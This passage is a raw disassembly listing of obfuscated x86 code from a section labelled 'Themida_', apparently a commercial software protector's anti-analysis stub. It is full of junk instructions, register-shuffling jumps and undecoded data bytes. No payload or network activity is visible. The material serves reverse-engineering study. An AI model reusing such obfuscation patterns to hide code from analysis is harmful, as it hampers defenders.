		dd 4C481h, 48F0000h, 0C3315C24h, 0A0E9008Fh, 0D2FFFF69h
		dd 0E99C2424h, 0FFFF6997h, 4EC81h, 0C890000h, 74DDB924h
		dd 0BE566DE2h, 20EE1935h, 34FFF109h, 0C4835E24h, 0E9534104h
		dd 0FFFFCDDBh, 0AE10672Dh, 5E8014Fh, 4FAE1067h,	53242C8Bh
		dd 0FFADF7E9h, 7D020DFFh, 0D8F74F2Eh, 0A641F42Dh, 4FC2814Ah
		dd 117C655h, 1BB3E9C2h,	40E90000h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600003:				; CODE XREF: Themida_:005F9D71j
		sub	ecx, edi
		pop	edi
		sub	ecx, 4B36CA0h
		sub	ebp, 625905ABh
		add	ebp, ecx
		jmp	loc_6020C3
; ---------------------------------------------------------------------------
		db 80h,	0CFh, 0D5h
		dd 2716E9h
		db 0
; ---------------------------------------------------------------------------


loc_600021:				; CODE XREF: Themida_:005F8EFFj
		mov	ebx, 189427D4h
		push	esi
		mov	esi, 2A45408Fh
		and	esi, 79331A52h
		or	esi, 68CA6511h
		or	esi, 70634A5Dh
		shl	esi, 3
		push	edi
		mov	edi, 0A4733C32h
		xor	esi, edi
		jmp	loc_5FA0C1
; ---------------------------------------------------------------------------
		dw 0E883h
		dd 36A6801h, 75E90000h,	0BBFFFFF2h, 51D73AE1h, 0CC1C2CBFh
		dd 0ABC3E97Ch, 0D8F7FFFFh, 7E3525h, 8B73E97Ch, 815AFFFFh
		dd 66C6FEBh, 5BD9298Fh,	8427E955h, 6B04FFFFh, 239CE9h
		dd 19892D00h, 57051797h, 18551E6h, 0DDF758C5h, 9CC58145h
		dd 510A4453h, 19E0BB53h, 0F3816F90h, 613E6DCAh,	4B04EBC1h
		dd 0E951D3F7h, 0FFFFF7CAh, 19E2EB81h, 3C8B42C5h, 4C48124h
		dd 0E9000000h, 0FFFF7A75h
; ---------------------------------------------------------------------------


loc_6000D0:				; CODE XREF: Themida_:005F73B6j
		mov	[edi+20h], ebx
		jmp	loc_5FF264
; ---------------------------------------------------------------------------
		dd 819CE950h, 431FFFFh,	24043324h, 241C895Ch, 0B3B4B551h
		dd 59EB3046h, 0C05EB652h, 0C68004EEh, 7189E9C5h, 8952FFFFh
		dd 245368E2h, 0C890000h, 2563B924h, 0F1810609h,	13FD4741h
		dd 0B1E6849h, 2C890000h, 9DE3BD24h, 0E981EA0Bh,	4263486Fh
		dd 7EE9E901h, 1FFFFB1h,	668E9F7h, 0F2810000h, 8B8549Ah
		dd 2EE9D301h, 0BDFFFFB9h, 1B4B0C5Bh, 4AF9C381h,	0EB296F0Eh
		dd 5E1EBF57h, 0E7C1263Eh, 0C7EF8105h, 0E958BD78h, 0FFFF7E1Dh
		dd 5557E2D1h, 0E577B2BDh, 0BAC58111h, 8132D12Bh, 0B1C8FBC5h
		dd 5DEF89E3h, 0FFAF39E9h
		db 0FFh
byte_600181	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005F676Co
		dd 0EFC5E95Ah, 2F2DFFFFh, 8B4E4124h, 0E92414h, 0BBFFFFBEh
		dd 665D3D82h, 5CE9DD89h, 0B9FFFF91h, 6219393Eh,	0C103E9C1h
		dd 0C18107E1h, 21B5E04Eh, 0FF6A3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6001B9:				; CODE XREF: Themida_:005FFB82j
		push	dword ptr [esp]
		jmp	loc_5FC45D
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 7
		dd 31FFFFC4h, 93E9242Ch
		db 0D6h, 2 dup(0FFh)
byte_6001CF	db 0FFh			; DATA XREF: Themida_:005F66C4o
		dd 669D1C77h, 2414D359h, 6765E99Ch, 0C483FFFFh,	0E9DFF704h
		dd 0FFFFB941h
; ---------------------------------------------------------------------------


loc_6001E8:				; CODE XREF: Themida_:005F9A75j
		push	ebp
		mov	ebp, 1141018Ch
		add	ebp, 1BBA5FC8h
		sub	eax, 6D515C80h
		sub	eax, ebp
		add	eax, 6D515C80h
		pop	ebp
		jmp	loc_5FE260
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 6560756Fh, 8106E2C1h, 0D54E87C2h, 81DAF741h,	2575B3C2h
		dd 5AD70918h, 0DEBBE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600226:				; CODE XREF: Themida_:005FF872j
		sub	edi, eax
		jmp	loc_5FC5E0
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 895C2404h, 0E589242Ch, 4C581h, 0B8500000h
		dd 2, 4D86C581h, 0C50134B7h, 0FFCA33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_600255:				; CODE XREF: Themida_:005FF272j
		push	esp
		pop	edx
		jmp	loc_5F7D8D
; ---------------------------------------------------------------------------


loc_60025C:				; CODE XREF: Themida_:005FEB94j
		add	eax, 4
		jmp	loc_5F697F
; ---------------------------------------------------------------------------
		dd 5F72EB81h, 0DF29C848h, 0FF6C0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_600271:				; CODE XREF: Themida_:005FA6EFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	8C6h
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5F79B8
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 0FFA644E9h, 89665CFFh, 0EC81240Ch, 4, 0B7241C89h, 26E95085h
		dd 6800001Fh, 4F6Bh, 15E3E9h, 242F0500h, 952D4E41h, 29595336h
		dd 369505D0h, 0AFE95953h
		db 0FEh, 2 dup(0FFh)
byte_6002DB	db 0FFh			; DATA XREF: Themida_:005F681Co
		dd 0C8B2434h, 4C48324h,	96A8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6002EA:				; CODE XREF: Themida_:005F69C4j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5FAFFE
; ---------------------------------------------------------------------------
		db 81h
		dd 222094EBh, 81FB2914h, 4ECh, 0C76EE900h, 0CBB6FFFFh
		dd 5A66F028h, 4EC81h, 0C7E90000h, 89FFFFCEh, 0E389241Ch
		dd 11B3E957h, 4870000h,	8F545C24h, 62682404h, 0E900000Ah
		dd 0FFFFA631h, 468h, 2434FF00h,	4C4835Ah, 2029E9h
		db 0
; ---------------------------------------------------------------------------


loc_600345:				; CODE XREF: Themida_:005F694Cj
		sub	al, 0DEh
		sub	al, 9Eh
		jmp	loc_5FFD47
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0B4C8E951h
		db 2 dup(0FFh)
word_600356	dw 34FFh		; DATA XREF: Themida_:005F6778o
		dd 1E95824h, 8BFFFFA3h,	0EE92424h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600367:				; CODE XREF: Themida_:00602EA9j
		push	781D0D04h
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ecx
		push	ebp
		mov	ebp, 781D0D04h
		add	ecx, 58B067D3h
		sub	ecx, ebp
		sub	ecx, 58B067D3h
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5FC8C6
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 75E9C688h, 0FEFFFFB3h, 26B353C2h, 0E92EE380h
		dd 0FFFFE5C2h, 1C39E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6003C6:				; CODE XREF: Themida_:005FAE46j
		push	33B535F9h
		pop	edx
		jmp	loc_5F8300
; ---------------------------------------------------------------------------


loc_6003D1:				; CODE XREF: Themida_:005FD3A8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_600680
; ---------------------------------------------------------------------------


loc_6003DC:				; CODE XREF: Themida_:005F92B8j
		xor	esi, 0C354D3FCh
		jmp	loc_60297D
; ---------------------------------------------------------------------------


loc_6003E7:				; CODE XREF: Themida_:005F7BFAj
		xchg	eax, esi
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		sub	esp, 4
		jmp	loc_6023A1
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 39EE6EDBh, 0FF8797E9h, 241C87FFh, 240C895Ch,	2A61E9h
		dd 3080B500h, 0EA8059E8h, 8265E936h, 3431FFFFh,	24343324h
		dd 6624248Bh, 66241489h, 0CE99C50h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600437:				; CODE XREF: Themida_:00601C17j
		pop	ecx
		pop	eax
		push	bx
		mov	bl, 0A3h
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		add	al, 24h
		sub	al, bl
		sub	al, 24h
		push	1F8Ah
		mov	[esp], ebx
		jmp	loc_5FBBBF
; ---------------------------------------------------------------------------


loc_600459:				; CODE XREF: Themida_:005FB595j
		push	ecx
		jmp	loc_5F7297
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA8016EAh, 0B0506601h, 66C2003Fh, 22BDE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_600472:				; CODE XREF: Themida_:005F8759j
		mov	ebx, 20h
		add	ebx, 578C5D43h
		add	ebx, edi
		push	ebp
		jmp	loc_60204C
; ---------------------------------------------------------------------------
		db 0C0h, 0E3h, 8
		dd 80D3EB80h, 0DA00BAF3h, 5AD1205Bh, 0C003E9C0h, 0B75307E9h
		dd 4F78099h, 0F34E9h, 0F7DFF700h, 95C781D7h, 0E96268DCh
		dd 0FFFFFE3Fh
; ---------------------------------------------------------------------------


loc_6004B4:				; CODE XREF: Themida_:005FF431j
		inc	ebp
		add	ebp, 146F8438h
		mov	edx, ebp
		pop	ebp
		mov	ebp, edx
		pop	edx
		add	edx, 236350E4h
		add	edx, 35FB544Eh
		sub	edx, ebp
		sub	edx, 35FB544Eh
		push	ebp
		jmp	loc_5FE6EC
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31243433h, 34332434h, 21665C24h, 0E99C2404h,	0FFFF6453h
		dd 42474FFh, 52240C8Bh,	298068h, 0EA5FE900h, 0EB29FFFFh
		dd 81242C8Bh, 4C4h, 81F30100h, 0BF24B2C3h, 24348B61h, 0FF774AE9h
		dd 66EB00FFh, 0B0506659h, 66C3287Fh, 0C0B60F58h, 10B5E9h
		dd 0E9D9F700h, 0FFFF8E76h, 24B85052h, 0E9000000h, 2865h
		dd 0C281E289h, 4, 4EC81h, 4890000h, 4B824h, 0C2290000h
		dd 74FF5258h, 8F5A0424h, 895C2404h, 91BF243Ch, 4761FC72h
		dd 2D57C781h, 0BA5228DFh, 293F62C4h, 0FFFC85E9h, 8EAC0FFh
		dd 8003EAC0h, 0C2FEE2C2h, 7BF280h, 3E045AD0h, 0E1E9D800h
		dd 88FFFFF0h, 0D63AE9C5h, 3FB8FFFFh, 401D396Eh,	2895A705h
		dd 58C60162h, 5F2434FFh, 4C481h, 8BE90000h, 31FFFF6Ah
		dd 0BA685FF8h, 8900005Eh, 0BFE92434h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6005CF:				; CODE XREF: Themida_:005FB190j
		mov	edi, 0FE2493Ah
		xor	edi, 0FE2493Eh
		jmp	loc_5FF051
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 9E89E900h, 0B252FFFFh,	4EC8331h, 0B4240489h, 56F48022h
		dd 48BE228h, 4C48124h, 80000000h, 0E95000EAh, 0FFFFA2B4h
		dd 89243489h, 80D3E9E6h, 2489FFFFh, 8ACEE924h, 84B8FFFFh
		dd 0E915BE13h, 0FFFF80A9h, 0C44B850h, 0C3812861h, 1226134Ah
		dd 42E9C301h, 0C3FFFFB6h, 0FF6302E9h, 240483FFh, 0C5815D04h
		dd 4, 466B68h, 24148900h, 0FF9F77E9h, 34335CFFh, 24343124h
		dd 8B243433h, 0D3662424h, 0E99C2404h, 0FFFF62D3h, 2404335Ah
		dd 33240431h, 0E95C2404h, 0FCCh
; ---------------------------------------------------------------------------


loc_600680:				; CODE XREF: Themida_:006003D7j
		push	ebp
		jmp	loc_5FD1E6
; ---------------------------------------------------------------------------


loc_600686:				; CODE XREF: Themida_:005FF311j
		xor	ebp, 33F96768h
		jmp	loc_5FC47D
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600697:				; CODE XREF: Themida_:005FFB3Aj
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		jmp	loc_5FBF29
; ---------------------------------------------------------------------------


loc_6006A1:				; CODE XREF: Themida_:005FF63Fj
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_602ACC
; ---------------------------------------------------------------------------


loc_6006B2:				; CODE XREF: Themida_:005FC0AEj
		mov	ebp, ecx
		jmp	loc_5FB0B2
; ---------------------------------------------------------------------------


loc_6006B9:				; CODE XREF: Themida_:005FE2C7j
		or	ebp, 2A2B73F9h
		sub	ebp, 953D3102h
		sub	ebx, ebp
		jmp	loc_5FF40E
; ---------------------------------------------------------------------------
		dd 68B45053h, 72E9E388h, 0C1FFFF9Ch, 69E904EDh,	0FFFFFF71h
		dd 685B2434h, 7E5Fh, 89240489h,	8BBE56E0h, 573A1039h, 0FFE884E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6006F9:				; CODE XREF: Themida_:00602A2Aj
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5FC9E6
; ---------------------------------------------------------------------------


loc_600704:				; CODE XREF: Themida_:005FA0C5j
		sub	ecx, 0AD7124Bh
		add	ecx, ebx
		add	ecx, 0AD7124Bh
		sub	ecx, 632846CAh
		pop	ebx
		xor	ecx, 29FB3B5Dh
		mov	edx, ecx
		pop	ecx
		push	eax
		jmp	loc_5FDEB1
; ---------------------------------------------------------------------------
		dd 0C7805A66h, 0F8E7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600732:				; CODE XREF: Themida_:00602EFBj
		push	eax
		push	edx
		mov	edx, 3DFC7434h
		jmp	loc_5F9FBB
; ---------------------------------------------------------------------------
word_60073E	dw 34FFh		; DATA XREF: Themida_:005F6760o
		dd 54565824h, 5E2434FFh, 55E78957h, 4BDh, 0E9EF0100h, 0FFFFD70Ah
dword_600758	dd 0E92434FFh, 0FFFFBFEFh, 0E18075B1h, 885266A8h, 88D2F6CAh
					; DATA XREF: Themida_:005F66C8o
		dd 0E95A66D1h, 15EEh
; ---------------------------------------------------------------------------


loc_600774:				; CODE XREF: Themida_:005F73E1j
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_602253
; ---------------------------------------------------------------------------
byte_600789	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F68E4o
		dd 0B2E95624h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_600793:				; CODE XREF: Themida_:005FC44Fj
					; Themida_:005FCABDj ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_5FF856
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4ECh, 243C8900h, 42474FFh, 24048F5Fh
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5F8815
; ---------------------------------------------------------------------------


loc_6007C1:				; CODE XREF: Themida_:005FFB7Aj
		sub	edi, 25B4E06h
		add	edi, ebx
		push	ecx
		jmp	loc_5FA909
; ---------------------------------------------------------------------------
off_6007CF	dd offset dword_4BC2EC+0E37Ch ;	DATA XREF: Themida_:005F6800o
		align 4
		dd 55243489h, 0C10756BDh, 7EDC124h, 0FF902DE9h,	0DACA81FFh
		dd 8120EF53h, 10842AC2h, 6A08E91Fh, 0BFFFFFh, 5105890Eh
		dd 0C3273068h, 17A4E978h, 1C890000h, 575B5424h,	4BFh, 0E9FB0100h
		dd 0AF7h
; ---------------------------------------------------------------------------


loc_600818:				; CODE XREF: Themida_:005F7E21j
		add	esp, 4
		jmp	loc_5F81A0
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD6548C5h, 6E5C131h, 3EE7C581h, 0D5F74F57h,	9B1BED81h
		dd 97E99844h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60083F:				; CODE XREF: Themida_:005F9FB6j
		pop	esp
		push	55AEh
		jmp	loc_5F779F
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0B3D4EF81h, 0F989CCA6h, 1EB1E9h, 0CAF68100h,	13D0370h
		dd 24348BF1h, 4C481h, 0FF510000h, 0E9042474h, 0FFFFB9FCh
dword_600874	dd 0E06866ACh, 0C89665Fh, 2A3E924h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_600882:				; CODE XREF: Themida_:005FEE00j
		neg	edx
		push	edx
		push	edi
		pop	edx
		jmp	loc_5FE042
; ---------------------------------------------------------------------------
		dd 0F044604h, 1C8BD42Ch, 0D1B2E924h, 0A4E9FFFFh, 5EFFFF60h
		dd 4C481h, 4330000h, 24043124h,	8B240433h, 0D3662424h
		dd 0E99C240Ch, 0FFFF6087h, 0D6F6F186h, 53F08850h, 0DE88CB88h
		dd 58C1885Bh, 83E95366h, 0F7000016h, 1DCBE9DDh,	2DB10000h
		dd 0D2F6D186h, 0FFAFE3E9h, 86F680FFh, 0E912F680h, 0FFFF9414h
; ---------------------------------------------------------------------------


loc_6008F0:				; CODE XREF: Themida_:005F8370j
		push	0FB4h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 34C329AAh
		add	edx, ebx
		sub	edx, 34C329AAh
		pop	ebx
		jmp	loc_5F8F88
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0E9E90100h, 0FFFFCF55h
; ---------------------------------------------------------------------------


loc_600920:				; CODE XREF: Themida_:00602AC7j
		shr	ecx, 7
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7CB838BFh
		sub	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_5FEC6D
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 8124348Bh, 4C4h, 0B5E18100h,	49625045h, 0FF7563E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_600955:				; CODE XREF: Themida_:005FB7E6j
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	12690D51h
		pop	ebp
		jmp	loc_5FBA13
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 8Bh
		dd 8DE9F02Ch, 59FFFFC7h, 4D0EF181h, 0C83180B2h,	39A46859h
		dd 3C890000h, 76596824h, 2C890000h, 71E95224h, 1FFFF8Fh
		dd 24348BF3h, 1E1FE9h, 0E9535700h, 0FFFF7494h, 4B850h
		dd 0C1010000h, 240C8758h, 8724248Bh, 0FF5C242Ch, 48B2434h
		dd 4C48324h, 45AA68h, 0A34DE900h, 815AFFFFh, 6D78D2C6h
		dd 81D6014Eh, 6D78D2EEh, 0B9515A4Eh, 4,	0C8BCE01h, 4C48324h
		dd 31243433h, 34332434h, 24248B24h, 0D168F1F7h,	89000032h
		dd 9C502414h, 0FF8045E9h, 19E955FFh, 8BFFFFB0h,	4892424h
		dd 97D3E924h, 5A66FFFFh, 0CA80C2FEh, 6DDE906h, 0E2890000h
		dd 4C281h, 0BF570000h, 4, 685FFA01h, 12A9h, 0FF241489h
		dd 0FF042474h, 34FF2434h, 0C4835A24h, 0E4FAE904h, 7FBDFFFFh
		dd 8905E510h, 814B5DEBh, 6EF058C3h, 8BDE01EAh, 0C481241Ch
		dd 4, 91E9F229h, 83000003h, 348904ECh, 0DED6824h, 24890000h
		dd 24048124h, 4, 0FF6799E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_600A91:				; CODE XREF: Themida_:005F96B4j
		add	ebx, eax
		add	ebx, 0EC43A9Ah
		push	6250h
		mov	[esp], edi
		jmp	loc_5FA7EE
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0EC815724h, 4, 68240C89h, 6F38h, 0FF97B4E9h,	167968FFh
		dd 8CE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600AC7:				; CODE XREF: Themida_:00600FE3j
		shl	edx, 1
		push	473Eh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5F857B
; ---------------------------------------------------------------------------
		dd 4C281h, 0B9510000h, 4, 8759CA01h, 815C2414h,	4C4h, 5AD78900h
		dd 83240C8Bh, 0BB5304C4h, 132167F1h, 0D3F7DBF7h, 0E9DBF743h
		dd 0FFFFF758h
; ---------------------------------------------------------------------------


loc_600B0C:				; CODE XREF: Themida_:005F8B80j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5FDB96
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0AA56E955h
		db 2 dup(0FFh)
word_600B1E	dw 53ACh		; DATA XREF: Themida_:005F66A4o
		dd 0FFE4A9E9h, 0B15152FFh, 0DE66E96Ah, 0E950FFFFh, 0FFFFE679h
dword_600B34	dd 0E9D831ADh, 0FFFFF685h; ---------------------------------------------------------------------------


loc_600B3C:				; CODE XREF: Themida_:005FB755j
		pop	eax
		sub	edx, ebx
		pop	ebx
		jmp	loc_60107E
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 7EE95100h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600B53:				; CODE XREF: Themida_:00601C3Bj
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		dd 15EF389h, 241C8BD9h,	4C481h,	53E90000h, 2D000012h, 0D615FB8h
		dd 344D8B05h, 0A858E95Ah, 0C829FFFFh, 83240C8Bh, 7E0504C4h
		dd 116B541h, 417E2DD8h,	685616B5h, 73B74BDCh, 8BF0015Eh
		dd 0E9562434h, 0FFFFD256h, 8D68D3F7h, 89000034h, 74FF241Ch
		dd 34FF0424h, 1C54E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_600BB6:				; CODE XREF: Themida_:005F8C08j
		mov	ecx, [esp]
		push	eax
		jmp	loc_600DC8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 872008Fh, 35EACF81h,	8EE96BF5h, 0B9FFFFEAh, 16F76461h
		dd 48BC131h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 86E9815Ch, 0C10D506Fh, 535705E9h, 0A56A53BBh, 0B9C3810Bh
		dd 0F7523622h, 0F5BF57D3h, 814A7714h, 2B11BCCFh, 0AEFCE97Ah
		dd 2C89FFFFh, 0E9E58924h, 4C2h,	20B951h, 0F9010000h, 0FFDC41E9h
		dd 0BB5357FFh, 551D087Dh, 0C0B6E943h
		db 2 dup(0FFh)
word_600C36	dw 8B66h		; DATA XREF: Themida_:005F6890o
		dd 0EC83240Ch, 24048904h, 0FF67C6E9h, 2434FFFFh, 83241C8Bh
		dd 895004C4h, 0D844E9E0h, 0E947FFFFh, 0FFFFC116h, 17F8BA52h
		dd 0C2817E7Eh, 1E1C52F3h, 0E9D2F74Ah, 0FFFFF78Eh, 5B2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_602BED
; ---------------------------------------------------------------------------
word_600C8A	dw 53ACh		; DATA XREF: Themida_:005F6718o
		dd 0FF92D0E9h, 0E38953FFh, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 4BE9D901h, 0FFFFFF7Fh, 0E9042474h, 839h, 1E79E951h
		dd 66570000h, 666ABABFh, 0E903EFC1h, 0FFFF7EBDh, 21586FBAh
		dd 0DB1FE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600CD2:				; CODE XREF: Themida_:005FF94Ej
		pop	ecx
		add	ecx, 4
		jmp	loc_5F75DC
; ---------------------------------------------------------------------------
		dw 8864h
		dd 5C5DE902h, 0C8BFFFFh, 4C48324h, 4C681h, 0B0E90000h
		dd 5A000017h, 241C8B66h, 0E9E78957h, 0FFFFCAA5h
; ---------------------------------------------------------------------------


loc_600D04:				; CODE XREF: Themida_:0060298Cj
		inc	ecx
		jmp	loc_5FB75A
; ---------------------------------------------------------------------------


loc_600D0A:				; CODE XREF: Themida_:00601CBBj
		add	ecx, 4
		push	7EBAh
		jmp	loc_6019D5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C58100h, 50000000h, 35F2BB53h, 0C38112AEh, 2E27DB50h
		dd 0CDE95853h, 89FFFFB5h, 0F6BA2414h, 3125E4DCh, 2434FFD0h
		dd 0FFDE50E9h
		db 0FFh
byte_600D49	db 0ACh, 83h, 0ECh	; DATA XREF: Themida_:005F6830o
		dd 24148904h, 0E975B753h, 8FEh,	83E08950h, 3C8904ECh, 3196824h
		dd 0E95F0A40h, 0FFFFA286h, 82ADE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600D72:				; CODE XREF: Themida_:00602424j
		mov	edi, 2022584h
		sub	ebp, 2D5769E2h
		sub	ebp, edi
		add	ebp, 2D5769E2h
		pop	edi
		jmp	loc_5FF60E
; ---------------------------------------------------------------------------
aDau		db '',0
		db 0F7h, 8Bh, 14h
		dd 65E3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600D9A:				; CODE XREF: Themida_:005F6D3Aj
		mov	[esp], eax
		jmp	loc_5FFB6D
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 30AE5E8Eh, 5E8CE981h, 0CA0130AEh, 68240C8Bh,	6CE8h
		dd 89240489h, 405E0h, 0E9550000h, 0FFFF97C8h
; ---------------------------------------------------------------------------


loc_600DC8:				; CODE XREF: Themida_:00600BBAj
		mov	eax, esp
		jmp	loc_601B43
; ---------------------------------------------------------------------------
		db 89h
		dd 8BC789C8h, 46E92404h, 30FFFF74h, 0EB2858C5h,	0B60F5966h
		dd 8734FFC0h, 8B2434FFh, 0C4832404h, 52636804h,	0C890000h
		dd 56595424h, 680B6855h, 0E95D14EAh, 0FFFF8C72h, 7B59E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600E0E:				; CODE XREF: Themida_:005FE905j
		sub	ecx, 14177CF0h
		sub	edi, 456A50B1h
		add	edi, ecx
		add	edi, 456A50B1h
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	1D75h
		mov	[esp], esi
		jmp	loc_60179A
; ---------------------------------------------------------------------------


loc_600E37:				; CODE XREF: Themida_:006018E0j
		add	eax, edi
		add	eax, 5F6D5B43h
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5FA3EB
; ---------------------------------------------------------------------------
		dd 0FF5AEEE9h, 324E68FFh, 47E90000h
		db 0FCh, 2 dup(0FFh)
byte_600E5F	db 0FFh			; DATA XREF: Themida_:005F67B8o
		dd 669D1C77h, 2414D259h, 5AD5E99Ch, 8159FFFFh, 722C40C3h
		dd 81CB0151h, 722C40EBh, 240C8B51h, 7303E951h, 0E901FFFFh
		dd 0EA61E95Dh, 8951FFFFh, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 8324248Bh, 48F04C4h,	876FE924h, 835AFFFFh, 0EC8104C0h
		dd 4, 0FF240489h, 0E9042474h, 0FFFFCFE1h, 6619E981h, 0F1016357h
		dd 6619C181h, 0EC816357h, 4, 0BD242C89h, 6F821949h, 2DA0E981h
		dd 0E9294644h, 2DA0C181h, 5E5D4644h, 4E981h, 0C330000h
		dd 240C3124h, 5C240C33h, 0E9241489h, 0FFFF5A3Bh
; ---------------------------------------------------------------------------


loc_600F08:				; CODE XREF: Themida_:006023A4j
		push	dword ptr [esp+4]
		jmp	loc_5FB38A
; ---------------------------------------------------------------------------


loc_600F11:				; CODE XREF: Themida_:005F7A35j
		and	ebx, 78232153h
		dec	ebx
		push	esi
		mov	esi, 3D490DD7h
		xor	esi, 7E970359h
		jmp	loc_5F7A69
; ---------------------------------------------------------------------------
		db 58h,	81h, 0EDh
		dd 366A7C33h, 71BCED81h, 0E829962Ah, 0FF61D6E9h, 8CE951FFh
		dd 0BEFFFF63h, 60BC37EBh, 4E05EEC1h, 0FF64C7E9h, 0C6815EFFh
		dd 4, 265A6853h, 34890000h, 26824h, 895E0000h, 24348BF3h
		dd 2904C483h, 4B685BDEh, 89000062h, 74FF2434h, 8F5E0424h
		dd 248B2404h, 14896624h, 0DACBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_600F8E:				; CODE XREF: Themida_:005FF0AFj
		pop	edi
		or	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	2B540D40h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5FA4E3
; ---------------------------------------------------------------------------


loc_600FA8:				; CODE XREF: Themida_:00602E4Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	7444h
		mov	[esp], esi
		push	edx
		mov	edx, 80000h
		mov	esi, edx
		pop	edx
		mov	ebx, esi
		jmp	loc_5FBA58
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFF2F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_600FD5:				; CODE XREF: Themida_:005FD677j
		pop	edx
		pop	ebx
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	edx, eax
		jmp	loc_600AC7
; ---------------------------------------------------------------------------


loc_600FE8:				; CODE XREF: Themida_:005F6D1Aj
